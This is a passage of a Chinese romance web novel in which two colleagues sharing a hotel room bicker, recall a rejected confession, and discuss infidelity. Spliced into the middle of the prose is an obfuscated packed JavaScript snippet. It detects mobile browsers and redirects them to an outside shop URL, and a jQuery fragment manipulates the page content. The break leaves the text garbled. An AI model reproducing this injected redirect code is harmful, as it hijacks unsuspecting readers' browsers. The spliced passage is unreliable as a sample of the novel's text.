“还想一个人住。” 温赛飞盖上笔电,收走打印纸,进浴室洗漱。出来马霜痕已经撂了氧气管,躺被窝熄了她那侧床头灯。 他也关了另一侧。 夜很静,不像在海城偶尔飞过一两声飙车的轰鸣。黑暗中传来一两声金属相击的脆响,马霜痕可能缺氧,脑袋晕乎,没仔细辨认远近。 她欠身打亮床头灯捞氧气管。 隔壁床边,温赛飞背对着窗帘,黑色长裤褪到大腿中段,皮带扣撞出熟悉声响。 马霜痕尖叫,“你干什么!” 温赛飞像破罐破摔,镇定脱掉整条裤子扔床头桌,没了裤子修饰,两条笔直长腿莫名野性,转眼消失在白色被窝,断绝看客浮想。 “脱裤子睡觉,还能干什么。” 马霜痕气道:“你就不能在浴室换了睡裤再出来吗?” 温赛飞干干脆脆,“没带。” 难怪背包不饱满。 马霜痕剜了他一眼,气不打一处来。 温赛飞不见局促,仰躺枕着一条胳膊,所谓的“睡衣”就是今天的短袖。 “怪你开灯不打招呼。” 马霜痕嘴快:“你也没预告!” 温赛飞偏头,眼神幽幽,口吻正经,“下回预告,行了吗?” “真讨厌!”马霜痕没脾气地骂道,“害我得多吸几口氧。” 温赛飞侧躺面向窗帘,“你激动什么……” 马霜痕身心受害,可不打算放过他,讨伐道:“你女朋友知道你在外面这样子吗?” 温赛飞又转回来,若无其事:“我犯天条了?” “流氓!” 骂归骂,马霜痕总处于下风,像被调戏了。 温赛飞说:“我怎么觉得吃亏的而是我,明明我被看了。” “谁稀罕!” 一只胖乎乎的枕头随之飞来,温赛飞随手接了扔一边。 “我女朋友知不知道不好说,你男朋友知道肯定不好过。” 马霜痕果真激动撑坐起来,“你威胁我?” 眉眼官司打了一会,温赛飞看出她的着急,反而笑道:“逗你挺有意思。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687470|143157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一只枕头又招呼过来,却挡不住混不吝的笑意。 马霜痕气鼓鼓摔回床上续氧,身残志坚酝酿下一场战斗似的。 好像每一次晚上跟温赛飞在一起都是熬夜,案发的霜冻之夜,大一他来看她,大二,还有工作后出外勤。 改名乌龙之后,她和他仍保持联系,只是方式升级了。从文字消息,过渡到语音,磁性而成熟的男声比文字更具抚慰性。再到视频通话,室友们躲在镜头后偷看屏幕,笑嘻嘻怂恿,这个可以,够帅了,上! 他给了她恋爱的习惯,却不给情侣的名分。以前的追求者都明目张胆示爱,她哪里遇到过像他一样的钓鱼高手,年少冲动,按耐不住就上了。 什刹海的春夜乍暖还寒,凌晨游人渐散,他们拎着没喝完的酒瓶,靠着栏杆,遥望元宵没拆走灯笼。 不记得说了什么趣事,笑过之后安静了一阵。 她偏身靠近他,外套擦出窸窣动静,他看着,没有防备也没有闪躲。 “小飞哥,”她笑,“你觉得我漂亮吗?” 她第一次在温赛飞脸上看到不自在,下巴有意无意蹭着他肩头,虚虚抱住他垂下的胳膊,得逞追问:“我漂亮吗?” “嗯。”他偏头喝了一口酒,音节好像随着喉结滚动出来,有点含糊。 “那我做你女朋友好不好?” 她下巴垫在他肩头,气雾呼着他的耳朵,像情人温柔的爱抚。 温赛飞愣了下,转开眼,仰头慢慢喝光了酒。 她漂亮的脸蛋像一块遗忘在冷风中的面团,渐渐僵硬、崩裂、模糊。 “为什么不可以?”她耍脾气地控诉,明明被其他人捧成公主,却要在他身上撞得头破血流。 “你太小了……” 当时她20岁,刚在他母校上大二,他27岁,已经工作五年。如果都在社会摸爬滚打,年龄或许不是差距,但他们之间横着一道校门,隔开象牙塔与大染缸两个截然不同的世界。 她不知喝高还是气疯,低头看了眼自己,“我哪里小了。” 温赛飞扭头看着她,笑了,肩膀耸动,整个人发抖,好似拎不住酒瓶。 不知道是不是泪眼看人也会觉得对方在哭,她看到他眼里的湿润。 她所以为的有求必应,也许只是他的怜悯。 当年他是不是也觉得逗她挺有意思。 “小飞哥,”马霜痕将制氧机流量调小,“你和你女朋友在一起多久了?” 温赛飞的眼神有些复杂。 马霜痕豁出去,“好奇,随便问问。” 温赛飞反问:“你多久?” 马霜痕不解,“和男朋友吗?” 然而温赛飞并非有问有答,她只好先坦白:“快三年。” 就从她人生第一次表白失败后的暑假开始。 “你还挺看得开。” 温赛飞的一句调侃没头没脑,马霜痕好一阵才消化。 她说:“谈恋爱跟开车一样,久了总会分神,这不稀奇,没出事故还好。” 温赛飞:“你不是说属于出轨?” 当初马霜痕可是一副炮轰全体男人的语气。 马霜痕无所谓道:“那更不稀奇。反正和谁在一起都一样,到最后总有一个会出轨。” 温赛飞似有不满,“你谈过几次,就一副阅人无数的口吻,那么笃定都会出轨。” 马霜痕隔着床间过道看向他,四目相交的一瞬,不止因默契,也有期待。 “不是阅人无数,只是我的想法。” 一旦有了出轨的想法,有了擦边行径——和男领导孤男寡女共处一室——又没有实际过线,马霜痕就感觉和韩弋扯平了,分不分手无所谓。 她没有故意报复,只是命运使然,达成了一种微妙的平衡。 “你的想法……” 温赛飞很少自言自语,胖枕头一个接一个扔回她床上。 “你也想过出轨?”